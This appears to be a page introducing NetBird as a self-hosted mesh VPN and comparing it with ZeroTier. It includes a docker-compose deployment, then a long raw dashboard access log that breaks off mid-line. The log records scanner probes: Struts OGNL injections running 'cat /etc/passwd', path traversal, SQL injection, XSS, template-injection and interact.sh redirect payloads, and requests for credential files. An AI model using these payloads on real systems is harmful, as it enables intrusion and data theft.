Overview

Commercial mesh platforms like ZeroTier and Twingate meter endpoints or seat licenses, escalating subscription bills as machine fleets expand. NetBird establishes direct WireGuard tunnels across distributed machines while keeping coordination infrastructure on your own hardware without per-node pricing.

Why Netbird instead of Zerotier

ZeroTier and NetBird both connect hosts behind firewalls without public ports or manual VPN tunnels. ZeroTier emulates a Layer 2 virtual Ethernet switch with its proprietary transport, which suits non-IP traffic and industrial protocols. NetBird operates at Layer 3 using kernel WireGuard tunnels, pairing ICE NAT traversal with centralized access rules. For cloud-native workloads, NetBird routes traffic directly between hosts at kernel WireGuard speed without proprietary crypto layers.

Cost differences compound quickly. ZeroTier meters nodes on its hosted controller, turning growing fleets of build runners, staging servers, and developer laptops into an escalating recurring bill. Its self-hosted controller carries a Business Source License that limits commercial deployment, whereas NetBird provides a self-hosted control plane without node restrictions. In exchange, administrators assume operational overhead: running NetBird requires managing coordination, signaling, and relay containers on their own Linux hosts.

What it does well

Kernel WireGuard data plane: establishes direct peer-to-peer tunnels across Linux, macOS, and Windows nodes using kernel crypto for low-latency multi-cloud communication.
Identity-based access rules: connects to OIDC and SAML providers including Keycloak, Authentik, Okta, and Google Workspace to enforce role-based access and MFA.
Infrastructure automation: provisions peers, access groups, and routing rules programmatically through an official Terraform provider, Ansible collections, and a REST API.
Private DNS management: assigns predictable internal domain names to ephemeral nodes, allowing teams to address internal services without maintaining manual hosts files.
Subnet routing and exit nodes: configures specific nodes to advertise private subnets or route external traffic, granting access to legacy VPC networks without hardware gateways.
Headless node enrollment: registers servers, Docker containers, and CI/CD runners using reusable setup keys, bypassing interactive browser logins during server provisioning.

cat > .env <<EOF NETBIRD_URL=http://localhost:8080 NETBIRD_AUTH_SECRET=$(openssl rand -hex 16) NETBIRD_SESSION_COOKIE_ENCRYPTION_KEY=$(openssl rand -base64 32) NETBIRD_DATASTORE_ENCRYPTION_KEY=$(openssl rand -base64 32) ADMIN_PASSWORD=$(openssl rand -hex 12) EOF

services: caddy: image: caddy:2.11.7-alpine restart: unless-stopped ports: - "8080:80" entrypoint: - /bin/sh - -c - | mkdir -p /etc/caddy cat <<'EOF' > /etc/caddy/Caddyfile :80 { @grpc header Content-Type application/grpc* reverse_proxy @grpc h2c://netbird-server:80 @backend path /relay* /ws-proxy/* /api/* /oauth2/* reverse_proxy @backend netbird-server:80 reverse_proxy /* dashboard:80 } EOF exec caddy run --config /etc/caddy/Caddyfile --adapter caddyfile depends_on: netbird-server: condition: service_healthy dashboard: condition: service_healthy healthcheck: test: ["CMD", "wget", "-q", "-O", "/dev/null", "http://127.0.0.1:80/oauth2/.well-known/openid-configuration"] interval: 5s timeout: 5s retries: 10 start_period: 5s dashboard: image: netbirdio/dashboard:v2.96.0 restart: unless-stopped environment: NETBIRD_MGMT_API_ENDPOINT: ${NETBIRD_URL} NETBIRD_MGMT_GRPC_API_ENDPOINT: ${NETBIRD_URL} AUTH_AUDIENCE: netbird-dashboard AUTH_CLIENT_ID: netbird-dashboard AUTH_CLIENT_SECRET: "" AUTH_AUTHORITY: ${NETBIRD_URL}/oauth2 USE_AUTH0: "false" AUTH_SUPPORTED_SCOPES: openid profile email groups AUTH_REDIRECT_URI: /nb-auth AUTH_SILENT_REDIRECT_URI: /nb-silent-auth NGINX_SSL_PORT: 443 LETSENCRYPT_DOMAIN: none healthcheck: test: ["CMD", "curl", "-f", "http://127.0.0.1:80/"] interval: 5s timeout: 5s retries: 10 start_period: 5s netbird-server: image: netbirdio/netbird-server:0.82.0 restart: unless-stopped ports: - "3478:3478/udp" environment: NB_SETUP_PAT_ENABLED: "true" entrypoint: - /bin/sh - -c - | mkdir -p /etc/netbird cat <<EOF > /etc/netbird/config.yaml server: listenAddress: ":80" exposedAddress: "${NETBIRD_URL}" stunPorts: - 3478 metricsPort: 9090 healthcheckAddress: ":9000" logLevel: "info" logFile: "console" authSecret: "${NETBIRD_AUTH_SECRET}" dataDir: "/var/lib/netbird" auth: issuer: "${NETBIRD_URL}/oauth2" signKeyRefreshEnabled: true sessionCookieEncryptionKey: "${NETBIRD_SESSION_COOKIE_ENCRYPTION_KEY}" dashboardRedirectURIs: - "${NETBIRD_URL}/nb-auth" - "${NETBIRD_URL}/nb-silent-auth" cliRedirectURIs: - "http://localhost:53000/" reverseProxy: trustedHTTPProxies: - "127.0.0.1/32" - "10.0.0.0/8" - "172.16.0.0/12" - "192.168.0.0/16" trustedPeers: - "127.0.0.1/32" - "10.0.0.0/8" - "172.16.0.0/12" - "192.168.0.0/16" store: engine: "sqlite" encryptionKey: "${NETBIRD_DATASTORE_ENCRYPTION_KEY}" EOF exec /go/bin/netbird-server --config /etc/netbird/config.yaml volumes: - netbird-data:/var/lib/netbird healthcheck: test: ["CMD", "bash", "-c", "exec 3<>/dev/tcp/127.0.0.1/9000 && exec 3>&-"] interval: 5s timeout: 5s retries: 10 start_period: 5s volumes: netbird-data:

dashboard-1 | 2026-11-01T04:35:27.713154927Z 172.18.0.4 - - [01/Nov/2026:04:35:27 +0000] "GET /gsearch.php.en?prod=';prompt`document.domain`;// HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Safari/605.6.25" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:27.713156968Z 172.18.0.4 - - [01/Nov/2026:04:35:27 +0000] "GET /modules/babel/redirect.php?newurl=http://interact.sh HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)Safari/537.36" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:27.713289052Z 172.18.0.4 - - [01/Nov/2026:04:35:27 +0000] "GET /tests/auth.json HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 12_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.4 Safari/605.1.15" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.534151344Z 127.0.0.1 - - [01/Nov/2026:04:35:28 +0000] "GET / HTTP/1.1" 200 4647 "-" "curl/8.23.0" "-" dashboard-1 | 2026-11-01T04:35:28.688201427Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /webmail/basic/?referer=https://interact.sh&_c=auth&ctz=120&signup_password&_a%5bsignup%5d=1 HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:24.0) Gecko/20100101 Firefox/24.0" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.688275260Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /caiwl/lesson.php?id=-1%20UNION%20SELECT%201,2,md5(999999999),4,5 HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.688279177Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /index.php?s=/install/index/index HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (Windows NT 10.0; rv:102.0) Gecko/20100101 Firefox/102.0" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.688280927Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET / HTTP/1.1" 200 1252 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.688282510Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /vpn/../vpns/cfg/smb.conf HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko/ Firefox/3.6.7" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.688284010Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET / HTTP/1.1" 200 1252 "-" "Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.688285427Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /StudioServer/.git/config HTTP/1.1" 404 1209 "-" "Moz111a/5.0 (1Pad; CPU 0S 17_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Mobile/15E148 Safari/604.1" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.688295760Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /glpi/ HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko/ Firefox/3.6.13" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.688298927Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%[email protected]@getRuntime%28%29.exec%28%27cat%20/etc/passwd%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%[email protected]@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D/actionChain1.action HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:1.9.6.20) Gecko/ Firefox/3.6.5" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.688698885Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /glpi/ HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:1.9.5.20) Gecko/ Firefox/9.0" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.688708719Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /upload/mobile/index.php?c=category&a=asynclist&price_max=1.0%20AND%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(0x7e,md5(999999999),0x7e,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)'' HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.689529469Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /download/index.php?file=../../../../../../../../../etc/passwd HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.689842219Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /?data[performredirect]=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&page=login HTTP/1.1" 200 1252 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.1 Safari/605.1.15" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.691477844Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /StudioServer/.git/config HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.691483510Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /system/deviceInfo?auth=YWRtaW46MTEK HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Safari/605.1.15" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.691484510Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /settings HTTP/1.1" 200 1443 "-" "Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1.1 Safari/605.1.15" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.691582510Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /upload/mobile/index.php?c=category&a=asynclist&price_max=1.0%20AND%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(0x7e,md5(999999999),0x7e,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)'' HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.691766594Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET / HTTP/1.1" 200 1252 "-" "Mozilla/5.0 (Knoppix; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.691930552Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /webmail/basic/?referer=https://interact.sh&_c=auth&ctz=120&signup_password&_a%5bsignup%5d=1 HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.691956552Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /library/index.php?destination=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&p=member HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (Macintosh; U; Intel Mac OS X; ja-jp) AppleWebKit/523.12.2 (KHTML, like Gecko) Version/3.0.4 Safari/523.12.2" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.692140385Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /vpn/../vpns/cfg/smb.conf HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (X11; Linux i686; rv:1.9.6.20) Gecko/ Firefox/12.0" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.692303760Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /%24%7B%28%23dm%[email protected]@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%[email protected]@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23a%[email protected]@getRuntime%28%29.exec%28%27cat%20/etc/passwd%27%29%29.%[email protected]@toString%28%23a.getInputStream%28%29%29%29%7D/actionChain1.action HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.692448969Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /caiwl/lesson.php?id=-1%20UNION%20SELECT%201,2,md5(999999999),4,5 HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (Kubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.692483260Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /setup-database-info HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (Windows NT 6.2; rv:28.0) Gecko/20100101 Firefox/28.0" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.692597344Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /download/index.php?file=../../../../../../../../../etc/passwd HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (Knoppix; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.692744385Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /furniture/catalog/all-products?cat=1&bhl4n%2522%253e%253cScRiPt%253ealert%2528'document_domain'%2529%253c%252fScRiPt%253eiyehb=1 HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.692871969Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /admin/setup HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.692971010Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /gallery/zp-core/setup/index.php HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Safari/605.1.15" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.693038760Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /zp/zp-core/setup/index.php HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (Debian; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.693154010Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /config HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_4; en-gb) AppleWebKit/528.4+ (KHTML, like Gecko) Version/4.0dp1 Safari/526.11.2" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.693213135Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /modules/babel/redirect.php?newurl=http://interact.sh HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.693271802Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /gsearch.php.en?prod=';prompt`document.domain`;// HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/113.0" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.693327135Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /actions/seomatic/meta-container/meta-link-container/?uri={{228*'98'}} HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (X11; Linux i686; rv:1.9.6.20) Gecko/ Firefox/12.0" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.693403844Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET / HTTP/1.1" 200 1252 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.2 Safari/605.1.15" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.693721094Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /index.php?s=/install/index/index HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.693849719Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /system/deviceInfo?auth=YWRtaW46MTEK HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; it-it) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.694455844Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /admin/setup HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.694877135Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /actions/seomatic/meta-container/all-meta-containers?uri={{228*'98'}} HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6.1 Safari/605.1.15" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.695015052Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /setup-database-info HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (Debian; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.696477885Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /analytics/saw.dll?bieehome&startPage=1 HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:85.0) Gecko/20100101 Firefox/91.0" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.696485427Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /analytics/saw.dll?bieehome&startPage=1 HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:109.0) Gecko/20100101 Firefox/115.0" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.696492344Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /env/auth.json HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.5 Safari/605.1.15" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.697013802Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /dev/auth.json HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (Fedora; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.697022010Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /settings HTTP/1.1" 200 1443 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:1.9.6.20) Gecko/ Firefox/4.0" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.697023260Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /furniture/catalog/all-products?cat=1&bhl4n%2522%253e%253cScRiPt%253ealert%2528'document_domain'%2529%253c%252fScRiPt%253eiyehb=1 HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/ Firefox/7.0" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.697024344Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /ONVIF/media.cgi?action=getSnapshot HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_2) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.3 Safari/605.1.15" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.697025177Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /lesson.php?id=-1%20UNION%20SELECT%201,2,md5(999999999),4,5 HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0 Safari/605.1.15" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.697592469Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /environment/auth.json HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.697800010Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /development/auth.json HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.699647219Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /login.php?mid=0&usr=test%27%20draggable=true%20ondrag=alert(document.domain)%20value=%27p HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.699650844Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /ONVIF/media.cgi?action=getSnapshot&channel=1 HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.1.2 Safari/605.1.15" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.699651885Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /watch/catalog/all-products?cat=1&bhl4n%2522%253e%253cScRiPt%253ealert%2528'document_domain'%2529%253c%252fScRiPt%253eiyehb=1 HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (Fedora; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.699652885Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /author_posts.php?author=admin%27%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(md5(999999999),1,1),NULL,NULL,NULL,NULL--%20-&p_id=1 HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.699669177Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /test/auth.json HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.699691135Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /ONVIF/media.cgi?action=getSnapshot HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.699861677Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /analytics/saw.dll?getPreviewImage&previewFilePath=/etc/passwd HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2.1 Safari/605.1.1" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.699995927Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /analytics/saw.dll?getPreviewImage&previewFilePath=/etc/passwd HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_2; es-es) AppleWebKit/525.13 (KHTML, like Gecko) Version/3.1 Safari/525.13" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.700194052Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /install/checks HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.700479094Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /actions/seomatic/meta-container/all-meta-containers?uri={{228*'98'}} HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.701515719Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /install/checks HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.701518052Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /login.php?mid=0&usr=test%27%20draggable=true%20ondrag=alert(document.domain)%20value=%27p HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (Debian; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.701519052Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /.clean.sh HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.701519802Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /zenphoto/zp-core/setup/index.php HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (CentOS; Linux i686) AppleWebKit/537.36 (KHTML, 